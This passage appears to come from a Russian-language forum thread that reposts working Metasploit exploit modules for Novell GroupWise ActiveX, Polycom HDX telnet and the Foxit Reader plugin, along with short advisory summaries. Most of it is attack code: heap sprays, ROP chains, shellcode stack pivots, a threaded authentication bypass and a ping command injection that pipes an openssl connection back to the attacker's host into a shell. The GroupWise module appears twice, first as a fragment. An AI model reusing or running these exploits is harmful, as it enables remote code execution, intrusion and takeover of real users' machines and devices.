          [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
          [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
          [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
          [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
          [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3ed' } ]#'0x5fe' } ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 30 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
    js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

    # Land the payload at 0x0c0c0c0c
    case my_target
    when targets[7]
      # IE 9 on Windows 7
      js = %Q|
      function randomblock(blocksize)
      {
        var theblock = "";
        for (var i = 0; i < blocksize; i++)
        {
          theblock += Math.floor(Math.random()*90)+10;
        }
        return theblock;
      }

      function tounescape(block)
      {
        var blocklen = block.length;
        var unescapestr = "";
        for (var i = 0; i < blocklen-1; i=i+4)
        {
          unescapestr += "%u" + block.substring(i,i+4);
        }
        return unescapestr;
      }

      var heap_obj = new heapLib.ie(0x10000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_random_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset_length = #{my_target['Offset']};
      for (var i=0; i < 0x1000; i++) {
        var padding = unescape(tounescape(randomblock(0x1000)));
        while (padding.length < 0x1000) padding+= padding;
        var junk_offset = padding.substring(0, offset_length);
        var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
        while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
        sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
        heap_obj.alloc(sprayblock);
      }
      |

    else
      # For IE 6, 7, 8
      js = %Q|
      var heap_obj = new heapLib.ie(0x20000);
      var code = unescape("#{js_code}");
      var nops = unescape("#{js_nops}");
      while (nops.length < 0x80000) nops += nops;
      var offset = nops.substring(0, #{my_target['Offset']});
      var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
      while (shellcode.length < 0x40000) shellcode += shellcode;
      var block = shellcode.substring(0, (0x80000-6)/2);
      heap_obj.gc();
      for (var i=1; i < 0x300; i++) {
        heap_obj.alloc(block);
      }
      var overflow = nops.substring(0, 10);
      |

    end

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def stack_pivot
    pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
    pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
    return pivot
  end

  def get_payload(t, cli)
    code = payload.encoded

    # No rop. Just return the payload.
    return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?

    # Both ROP chains generated by mona.py - See corelan.be
    case t['Rop']
      when :msvcrt
        print_status("Using msvcrt ROP")
        rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
        jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
        rop_payload << jmp_shell
        rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
        rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
        rop_payload << [0x77c15ed5].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
        rop_payload << stack_pivot
        rop_payload << code
      else
        print_status("Using JRE ROP")
        rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
        jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
        rop_payload << jmp_shell
        rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
        rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
        rop_payload << [0x7C348B05].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
        rop_payload << stack_pivot
        rop_payload << code
    end

    return rop_payload
  end


  def load_exploit_html(my_target, cli)
    p  = get_payload(my_target, cli)
    js = ie_heap_spray(my_target, p)

    trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200

    html = %Q|
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'>
    </object>
    <script>
      target.SetEngine(0x0c0c0c0c-0x20);
      setInterval(function(){#{trigger}},1000);
    </script>
    </body>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^\t\t/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end


=begin

* Remote Code Exec

(240.8d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
gwenv1!NgwOFErrorEnabledVector<NgwOFAttribute>::SetParent+0x326b9d:
10335e2d 8a8e4f040000    mov     cl,byte ptr [esi+44Fh]     ds:0023:0c0c103b=??


.text:103BDDEC                 mov     eax, [ebp+var_4] // var_4 => Engine + 0x20
.text:103BDDEF                 test    esi, esi
.text:103BDDF1                 jnz     short loc_103BDE17
.text:103BDDF3                 cmp     [eax+426h], esi
.text:103BDDF9                 jz      short loc_103BDE17 // Check function pointer against nil?
.text:103BDDFB                 mov     ecx, [ebp+arg_8]
.text:103BDDFE                 mov     edx, [ebp+arg_4]
.text:103BDE01                 push    ecx
.text:103BDE02                 mov     ecx, [eax+42Ah]  // Carefully crafted object allows to control it
.text:103BDE08                 push    edx
.text:103BDE09                 mov     edx, [eax+426h] // Carefully crafted object allows to control it
.text:103BDE0F                 push    ecx
.text:103BDE10                 call    edx  // Win!

* Info Leak

// Memory disclosure => 4 bytes from an arbitrary address
// Unstable when info leaking and triggering rce path...
target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
var leak = target.GetMiscAccess();
alert(leak);

=end
 
Polycom HDX Telnet Authorization Bypass

The Polycom HDX is a series of telecommunication and video devices. The telnet component of Polycom HDX video endpoint devices is vulnerable to an authorization bypass when multiple simultaneous connections are repeatedly made to the service, allowing remote network attackers to gain full access to a Polycom command prompt without authentication. Versions prior to 3.0.4 also contain OS command injection in the ping command which can be used to escape the telnet prompt and execute arbitrary commands as root. Full Metasploit module included.

Код:
========================================================================
= Polycom HDX Telnet Authorization Bypass
=
= Vendor Website:
=    www.polycom.com
=
= Affected Version:
=   Polycom HDX devices:
=     All releases prior to and including Commercial 3.0.5
=
= Public disclosure on January 18, 2013
=
========================================================================

== Overview ==

The Polycom HDX is a series of telecommunication and video devices. The
telnet component of Polycom HDX video endpoint devices is vulnerable to
an authorization bypass when multiple simultaneous connections are
repeatedly made to the service, allowing remote network attackers to
gain full access to a Polycom command prompt without authentication. 
Versions prior to 3.0.4 also contain OS command injection in the ping
command which can be used to escape the telnet prompt and execute
arbitrary commands as root.
 
== Solution ==

Until a software solution is released, Polycom recommends administrators
disable telnet on their HDX unit.
 
== Credit ==

Discovered and advised to Polycom Inc., 2012 by Paul Haas of
Security-Assessment.com.

== About Security-Assessment.com ==

Security-Assessment.com is a leading team of Information Security
consultants specializing in providing high quality Information Security
services to clients throughout the Asia Pacific region. Our clients
include some of the largest globally recognized companies in areas such
as finance, telecommunications, broadcasting, legal and government. Our
aim is to provide the very best independent advice and a high level of
technical expertise while creating long and lasting professional
relationships with our clients.

Web: www.security-assessment.com 
Email: info@security-assessment.com

== Exploitation ==

The following Metasploit module can be used to reproduce the issue:

cat > psh_auth_bypass.rb <<EOF
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Auxiliary::Report

    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'Polycom Command Shell Authorization
Bypass',
            'Alias'            => 'psh_auth_bypass',
            'Author'        => [ 'Paul Haas <Paul [dot] Haas [at]
Security-Assessment.com>' ],
            'DisclosureDate'    => 'Jan 18 2013',
            'Description'    => %q{
                The login component of the Polycom Command Shell on
Polycom HDX
                Video End Points running software versions 3.0.5 and earlier
                is vulnerable to an authorization bypass when simultaneous
                connections are made to the service, allowing remote network
                attackers to gain access to a sandboxed telnet prompt
without
                authentication. Versions prior to 3.0.4 contain OS command
                injection in the ping command which can be used to execute
                arbitrary commands as root.
            },
            'License'        => MSF_LICENSE,
            'References'    =>
                [
                    [ 'URL',
'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf'
],
                    [ 'URL',
'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html'
]
                ],
            'Platform'        => 'unix',
            'Arch'            => ARCH_CMD,
            'Privileged'    => true,
            'Targets'        => [ [ "Universal", {} ] ],
            'Payload'        =>
            {
                'Space'        => 8000,
                'DisableNops'    => true,
                'Compat'    => { 'PayloadType'        => 'cmd',},
            },
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
            'DefaultTarget' => 0
        ))

        register_options(
            [
                Opt::RHOST(),
                Opt::RPORT(23),
                OptAddress.new('CBHOST', [ false, "The listener address
used for staging the final payload" ]),
                OptPort.new('CBPORT', [ false, "The listener port used
for staging the final payload" ])
            ],self.class)
        register_advanced_options(
            [
                OptInt.new('THREADS', [false, 'Threads for
authentication bypass', 6]),
                OptInt.new('MAX_CONNECTIONS', [false, 'Threads for
authentication bypass', 100])
            ], self.class)
    end

    def check
        connect
        sock.put(Rex::Text.rand_text_alpha(rand(5)+1) + "\n")
        ::IO.select(nil, nil, nil, 1)
        res = sock.get
        disconnect

        if !(res and res.length > 0)
            return Exploit::CheckCode::Safe
        end

        if (res =~ /Welcome to ViewStation/)
            return Exploit::CheckCode::Appears
        end

        return Exploit::CheckCode::Safe
    end

    def exploit
        # Keep track of results (successful connections)
        results = []

        # Random string for password
        password = Rex::Text.rand_text_alpha(rand(5)+1)

        # Threaded login checker
        max_threads = datastore['THREADS']
        cur_threads = []

        # Try up to 100 times just to be sure
        queue = [*(1 .. datastore['MAX_CONNECTIONS'])]

        print_status("Starting Authentication bypass with
#{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max
connections ")
        while(queue.length > 0)
            while(cur_threads.length < max_threads)

                # We can stop if we get a valid login
                break if results.length > 0

                # keep track of how many attempts we've made
                item = queue.shift

                # We can stop if we reach max tries
                break if not item

                t = Thread.new(item) do |count|
                        sock = connect
                        sock.put(password + "\n")
                        res = sock.get

                        while res.length > 0
                            break if results.length > 0

                            # Post-login Polycom banner means success
                            if (res =~ /Polycom/)
                                results << sock
                                break
                            # bind error indicates bypass is working
                            elsif (res =~ /bind/)
                                sock.put(password + "\n")
                            #Login error means we need to disconnect
                            elsif (res =~ /failed/)
                                break
                            #To many connections means we need to disconnect
                            elsif (res =~ /Error/)
                                break
                            end
                            res = sock.get
                        end
                end

                cur_threads << t
            end

            # We can stop if we get a valid login
            break if results.length > 0

            # Add to a list of dead threads if we're finished
            cur_threads.each_index do |ti|
                t = cur_threads[ti]
                if not t.alive?
                    cur_threads[ti] = nil
                end
            end

            # Remove any dead threads from the set
            cur_threads.delete(nil)

            ::IO.select(nil, nil, nil, 0.25)
        end

        # Clean up any remaining threads
        cur_threads.each {|sock| sock.kill }

        if results.length > 0
            print_good("#{rhost}:#{rport} Successfully exploited the
authentication bypass flaw")
            do_payload(results[0])
        else
            print_error("#{rhost}:#{rport} Unable to bypass
authentication, this target may not be vulnerable")
        end

    end

    def do_payload(sock)
        # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
        cbhost = datastore['CBHOST'] || datastore['LHOST'] ||
Rex::Socket.source_address(datastore['RHOST'])

        # Start a listener
        start_listener(true)

        # Figure out the port we picked
        cbport = self.service.getsockname[2]

        # Utilize ping OS injection to push cmd payload using stager
optimized for limited buffer < 128
        cmd = "\nping
;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"
        sock.put(cmd)

        # Give time for our command to be queued and executed
        1.upto(5) do
            ::IO.select(nil, nil, nil, 1)
            break if session_created?
        end
    end

    def stage_final_payload(cli)
        print_good("Sending payload of #{payload.encoded.length} bytes
to #{cli.peerhost}:#{cli.peerport}...")
        cli.put(payload.encoded + "\n")
    end

    def start_listener(ssl = false)
        comm = datastore['ListenerComm']
        if comm == "local"
            comm = ::Rex::Socket::Comm::Local
        else
            comm = nil
        end

        self.service = Rex::Socket::TcpServer.create(
            'LocalPort' => datastore['CBPORT'],
            'SSL' => ssl,
            'SSLCert' => datastore['SSLCert'],
            'Comm' => comm,
            'Context' =>
                {
                'Msf' => framework,
                'MsfExploit' => self,
                })

        self.service.on_client_connect_proc = Proc.new { |client|
        stage_final_payload(client)
        }

        # Start the listening service
        self.service.start
    end

    # Shut down any running services
    def cleanup
        super
        if self.service
            print_status("Shutting down payload stager listener...")
            begin
                self.service.deref if self.service.kind_of?(Rex::Service)
                if self.service.kind_of?(Rex::Socket)
                    self.service.close
                    self.service.stop
                end
                self.service = nil
            rescue ::Exception
            end
        end
    end

    # Accessor for our TCP payload stager
    attr_accessor :service

end

EOF
 
Foxit Reader Plugin URL Processing Buffer Overflow

This Metasploit module exploits a vulnerability in the Foxit Reader Plugin, it exists in the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, overly long query strings within URLs can cause a stack-based buffer overflow, which can be exploited to execute arbitrary code. This exploit has been tested on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281 (npFoxitReaderPlugin.dll version 2.2.1.530).


Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpServer::HTML

  Rank = NormalRanking

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Foxit Reader Plugin URL Processing Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability in the Foxit Reader Plugin, it exists in
          the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,
          overly long query strings within URLs can cause a stack-based buffer overflow,
          which can be exploited to execute arbitrary code. This exploit has been tested
          on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281
          (npFoxitReaderPlugin.dll version 2.2.1.530).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>',       # initial discovery and poc
          'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module
          'juan vazquez',                       # metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '89030' ],
          [ 'BID', '57174' ],
          [ 'EDB', '23944' ],
          [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
          [ 'URL', 'http://secunia.com/advisories/51733/' ]
        ],
      'Payload'        =>
        {
          'Space'       => 2000,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "process",
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # npFoxitReaderPlugin.dll version 2.2.1.530
          [ 'Automatic', {} ],
          [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
            {
              'Offset'          => 272,
              'Ret'             => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
              'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin
              :rop => :win7_rop_chain
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jan 7 2013",
      'DefaultTarget'  => 0))
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''

    case nt
      when '5.1'
        os_name = 'Windows XP SP3'
      when '6.0'
        os_name = 'Windows Vista'
      when '6.1'
        os_name = 'Windows 7'
    end

    if os_name == 'Windows 7' and firefox =~ /18/
      return targets[1]
    end

    return nil
  end

  def junk
    return rand_text_alpha(4).unpack("L")[0].to_i
  end

  def nops
    make_nops(4).unpack("N*")
  end

  # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
  def win7_rop_chain

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
      [
        0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
        0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
        0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
        0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
        0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
        0x41414141, # Filler (RETN offset compensation)
        0x1000614c, # & push esp # ret  [npFoxitReaderPlugin.dll]
        0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
        0x00001000, # 0x00001000-> edx
        0x1000d9ec, # XOR EDX, EDX # RETN
        0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
        junk,
        0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
        junk,
        junk,
        junk,
        0x41414141, # Filler (RETN offset compensation)
        0x00000040, # 0x00000040-> ecx
        0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
        0x00000001, # 0x00000001-> ebx
        0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
        0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
        0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
        nops,
        0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
      ].flatten.pack("V*")

    return rop_gadgets
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    unless self.respond_to?(my_target[:rop])
      print_error("Invalid target specified: no callback function defined")
      send_not_found(cli)
      return
    end

    return if ((p = regenerate_payload(cli)) == nil)

    # we use two responses:
    # one for an HTTP 301 redirect and sending the payload
    # and one for sending the HTTP 200 OK with appropriate Content-Type
    if request.resource =~ /\.pdf$/
      # sending Content-Type
      resp = create_response(200, "OK")
      resp.body = ""
      resp['Content-Type'] = 'application/pdf'
      resp['Content-Length'] = rand_text_numeric(3,"0")
      cli.send_response(resp)
      return
    else
      resp = create_response(301, "Moved Permanently")
      resp.body = ""

      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
      if datastore['SSL']
        schema = "https"
      else
        schema = "http"
      end

      sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)
      sploit << [my_target.ret].pack("V") # EIP
      sploit << [my_target['WritableAddress']].pack("V") # Writable Address
      sploit << self.send(my_target[:rop])
      sploit << p.encoded

      resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
      cli.send_response(resp)

      # handle the payload
      handler(cli)
    end
  end

end

Добавлено в [time]1360828462[/time]
 
.NET Framework EncoderParameter Integer Overflow

An integer overflow vulnerability has been discovered in the EncoderParameter class of the .NET Framework. Exploiting this vulnerability results in an overflown integer that is used to allocate a buffer on the heap. After the incorrect allocation, user-supplied buffers are copied into the new buffer, resulting in a corruption of the heap. By exploiting this vulnerability, it is possible for an application running with Partial Trust permissions to break from the CLR sandbox and run arbitrary code with Full Trust permissions.
Код експлоита
тут
 
Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution

Код:
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
  
    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn
  
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "6.0",
        :ua_maxver  => "9.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :rank       => NormalRanking,
        :classid    => "{601D7813-408F-11D1-98D7-444553540000}",
        :method     => "SetEngine"
    })
  
  
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution",
            'Description'    => %q{
                    This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll
                ActiveX. Several methods in the GWCalServer control use user provided data as
                a pointer, which allows to read arbitrary memory and execute arbitrary code. This
                module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The
                JRE6 needs to be installed to achieve ASLR bypass.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>', # Vulnerability discovery
                    'juan vazquez'                  # Metasploit module
                ],
            'References'     =>
                [
                    [ 'CVE', '2012-0439' ],
                    [ 'OSVDB', '89700' ],
                    [ 'BID' , '57658' ],
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ],
                    [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ]
                ],
            'Payload'        =>
                {
                    'BadChars'    => "\x00",
                    'Space'       => 1040,
                    'DisableNops' => true
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # gwcls1.dll 12.0.0.8586
                    [ 'Automatic', {} ],
                    [ 'IE 6 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
                    [ 'IE 7 on Windows XP SP3', { 'Rop' => nil,     'Offset' => '0x5F4' } ],
                    [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ],
                    [ 'IE 7 on Windows Vista',  { 'Rop' => nil,     'Offset' => '0x5f4' } ],
                    [ 'IE 8 on Windows Vista',  { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
                    [ 'IE 8 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3e3' } ],
                    [ 'IE 9 on Windows 7',      { 'Rop' => :jre,    'Offset' => '0x3ed' } ]#'0x5fe' } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 30 2013",
            'DefaultTarget'  => 0))
  
        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)
  
    end
  
    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'
  
        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
        ie_name = "IE #{ie}"
  
        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        when '6.0'
            os_name = 'Windows Vista'
        when '6.1'
            os_name = 'Windows 7'
        end
  
        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end
  
        return nil
    end
  
    def ie_heap_spray(my_target, p)
        js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
        js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
        js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
        # Land the payload at 0x0c0c0c0c
        case my_target
        when targets[7]
            # IE 9 on Windows 7
            js = %Q|
            function randomblock(blocksize)
            {
                var theblock = "";
                for (var i = 0; i < blocksize; i++)
                {
                    theblock += Math.floor(Math.random()*90)+10;
                }
                return theblock;
            }
  
            function tounescape(block)
            {
                var blocklen = block.length;
                var unescapestr = "";
                for (var i = 0; i < blocklen-1; i=i+4)
                {
                    unescapestr += "%u" + block.substring(i,i+4);
                }
                return unescapestr;
            }
  
            var heap_obj = new heapLib.ie(0x10000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_random_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset_length = #{my_target['Offset']};
            for (var i=0; i < 0x1000; i++) {
                var padding = unescape(tounescape(randomblock(0x1000)));
                while (padding.length < 0x1000) padding+= padding;
                var junk_offset = padding.substring(0, offset_length);
                var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
                while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
                sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
                heap_obj.alloc(sprayblock);
            }
            |
  
        else
            # For IE 6, 7, 8
            js = %Q|
            var heap_obj = new heapLib.ie(0x20000);
            var code = unescape("#{js_code}");
            var nops = unescape("#{js_nops}");
            while (nops.length < 0x80000) nops += nops;
            var offset = nops.substring(0, #{my_target['Offset']});
            var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
            while (shellcode.length < 0x40000) shellcode += shellcode;
            var block = shellcode.substring(0, (0x80000-6)/2);
            heap_obj.gc();
            for (var i=1; i < 0x300; i++) {
                heap_obj.alloc(block);
            }
            var overflow = nops.substring(0, 10);
            |
  
        end
  
        js = heaplib(js, {:noobfu => true})
  
        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end
  
        return js
    end
  
    def stack_pivot
        pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
        pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
        pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
        pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
        return pivot
    end
  
    def get_payload(t, cli)
        code = payload.encoded
  
        # No rop. Just return the payload.
        return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil?
  
        # Both ROP chains generated by mona.py - See corelan.be
        case t['Rop']
            when :msvcrt
                print_status("Using msvcrt ROP")
                rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea
                jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
                rop_payload << jmp_shell
                rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
                rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
                rop_payload << [0x77c15ed5].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
                rop_payload << stack_pivot
                rop_payload << code
            else
                print_status("Using JRE ROP")
                rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
                jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string
                rop_payload << jmp_shell
                rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
                rop_payload << [0x0c0c0c10 - 0x426].pack("V")  # Mapped at 0x0c0c0c0c # 0x426 => vtable offset
                rop_payload << [0x7C348B05].pack("V")          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
